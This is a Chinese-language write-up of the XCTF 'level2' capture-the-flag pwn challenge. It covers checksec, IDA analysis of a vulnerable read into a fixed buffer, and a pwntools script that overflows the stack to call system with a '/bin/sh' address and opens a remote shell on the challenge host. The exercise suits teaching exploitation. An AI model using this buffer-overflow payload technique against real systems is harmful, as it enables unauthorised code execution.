攻防世界|XCTF|level2|
进checksec,查看到程序无PIE,堆栈不可执行,无栈保护

跑一遍逻辑,还是hello word

用IDA查看,F5查看main主函数
看源码,主要就是echo了一个hello world,同时很明显上方有一个显眼的脆弱函数

双击进入脆弱函数查看


系统要求input输入内容,然后return了一个read操作,同时读了一个&buf,buf是0x100u个空间,猜测是要把这个buf打满然后让溢出的内容给read读到,双击&buf进去查看偏移



回到main函数的图形界面,可以看到下面有一个system函数,f5反编译进去查看
发现该函数能够返回一个system权限

找到system函数的地址:0x08048320







py脚本如下:
点击查看代码
from pwn import *
r = remote("61.147.171.105", 60437)
payload = b'A'*0x88+b'B'*0x04 + p32(0x08048320) +p32(0) +p32(0x0804A024)
r.sendline(payload)
r.interactive()
'''
这里payload也可以这样构造
payload = b'a'*0x8C + p32(0x08048320) +p32(0) +p32(0x0804A024)
因为这里的加法是十六进制的加法,0123456789ABCDEFG
88+04 = 8C
'''
要有 system(bin/sh)才能进行命令执行
参考链接:https://blog.csdn.net/Deeeelete/article/details/109681307

浙公网安备 33010602011771号